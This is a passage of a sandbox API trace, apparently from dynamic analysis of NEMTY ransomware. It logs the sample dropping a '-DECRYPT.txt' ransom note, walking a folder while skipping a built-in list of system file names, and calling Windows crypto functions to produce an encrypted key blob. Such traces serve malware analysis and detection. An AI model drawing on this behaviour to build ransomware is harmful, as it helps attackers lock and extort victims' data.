lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0048.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0048.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.596] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0048.597] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.597] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0048.598] CloseHandle (hObject=0x3c8) returned 1 [0048.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0048.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94360 [0048.598] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0aa6810, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0aa6810, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x13, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0048.598] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.598] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0aa6810, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0aa6810, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x13, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0048.598] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.598] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.599] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x13, dwReserved1=0x4f90000, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2=".") returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="..") returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="...") returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="windows") returned -1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="$RECYCLE.BIN") returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="rsa") returned -1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="NTDETECT.COM") returned -1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="ntldr") returned -1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="MSDOS.SYS") returned -1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="IO.SYS") returned -1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="boot.ini") returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="boot.ini") returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="AUTOEXEC.BAT") returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="ntuser.dat") returned -1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="desktop.ini") returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="CONFIG.SYS") returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="RECYCLER") returned -1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="BOOTSECT.BAK") returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="bootmgr") returned 1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="programdata") returned -1 [0048.599] lstrcmpiW (lpString1="dwintl20.dll", lpString2="appdata") returned 1 [0048.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwintl20.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwintl20.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwintl20.dll", lpUsedDefaultChar=0x0) returned 12 [0048.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwintl20.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwintl20.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwintl20.dll", lpUsedDefaultChar=0x0) returned 12 [0048.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwintl20.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwintl20.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwintl20.dll", lpUsedDefaultChar=0x0) returned 12 [0048.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwintl20.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwintl20.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwintl20.dll", lpUsedDefaultChar=0x0) returned 12 [0048.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0048.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0048.600] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0aa6810, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0aa6810, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0aa6810, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x13, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0048.600] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0048.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0048.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0048.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94360 [0048.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.601] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0aa6810, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0aa6810, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0aa6810, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x13, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0048.601] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0048.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0048.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0048.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.601] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0048.601] lstrcmpiW (lpString1="branding.xml", lpString2=".") returned 1 [0048.601] lstrcmpiW (lpString1="branding.xml", lpString2="..") returned 1 [0048.601] lstrcmpiW (lpString1="branding.xml", lpString2="...") returned 1 [0048.601] lstrcmpiW (lpString1="branding.xml", lpString2="windows") returned -1 [0048.601] lstrcmpiW (lpString1="branding.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.601] lstrcmpiW (lpString1="branding.xml", lpString2="rsa") returned -1 [0048.601] lstrcmpiW (lpString1="branding.xml", lpString2="NTDETECT.COM") returned -1 [0048.601] lstrcmpiW (lpString1="branding.xml", lpString2="ntldr") returned -1 [0048.601] lstrcmpiW (lpString1="branding.xml", lpString2="MSDOS.SYS") returned -1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="IO.SYS") returned -1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="boot.ini") returned 1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="boot.ini") returned 1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="ntuser.dat") returned -1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="desktop.ini") returned -1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="CONFIG.SYS") returned -1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="RECYCLER") returned -1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="bootmgr") returned 1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="programdata") returned -1 [0048.602] lstrcmpiW (lpString1="branding.xml", lpString2="appdata") returned 1 [0048.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="branding.xml", lpUsedDefaultChar=0x0) returned 12 [0048.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="branding.xml", lpUsedDefaultChar=0x0) returned 12 [0048.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="branding.xml", lpUsedDefaultChar=0x0) returned 12 [0048.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="branding.xml", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="branding.xml", lpUsedDefaultChar=0x0) returned 12 [0048.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942c8 [0048.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0048.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94370 [0048.602] Sleep (dwMilliseconds=0x5) [0048.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0acc970, dwHighDateTime=0x1d561e7)) [0048.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0acc970, dwHighDateTime=0x1d561e7)) [0048.607] GetLastError () returned 0x12 [0048.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.607] GetLastError () returned 0x12 [0048.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.608] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.608] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.608] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.608] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="KZXY/aOWMoKiB2GdpaeDmlylXg4g8GNh3YyPljQI7MdTz9VXYIUVgOAmTF8rCcTR\r\nqOJCQqW9pjDREwJAbLv0Qy8KeLedUdBa+XSvh/CnaylL4lvq/qm3cKRSzbzFWqiW\r\nNy075e6Nn8Pfi1XNQdF/qbMVYTm1lkE/w4dKd03F6RZd6+tQGV/4ForsTlcRjtK7\r\nbk4mov0Tn4tzHPtSvDPODZMThkLfv/ju7uKsp1Z4pRmsTuK/QO12VJE4vuH8Ct/q\r\nxiO2nOte/QRELzt0SItcqASKdxRn41KpIPLjqgMS5oPlFOTLHMbYHdN8KATtqMPr\r\n8Tq4eXibUgrHbm4OarZJaA==\r\n", pcchString=0x653ef9c) returned 1 [0048.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.608] CreateFileW 